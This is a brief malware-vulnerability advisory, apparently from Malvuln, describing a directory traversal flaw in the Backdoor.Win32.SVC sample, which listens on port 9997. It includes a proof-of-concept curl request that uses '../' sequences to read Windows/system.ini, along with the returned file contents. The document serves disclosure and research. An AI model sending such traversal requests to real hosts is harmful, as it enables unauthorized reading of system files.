Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SVC
Vulnerability: Directory Traversal
Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the root dir.
Type: PE32
MD5: 011961a42700e7385a106d362eb661c7
Vuln ID: MVID-2022-0447
Disclosure: 01/05/2022

Exploit/PoC:
curl http://x.x.x.x:9997/../../../../../Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


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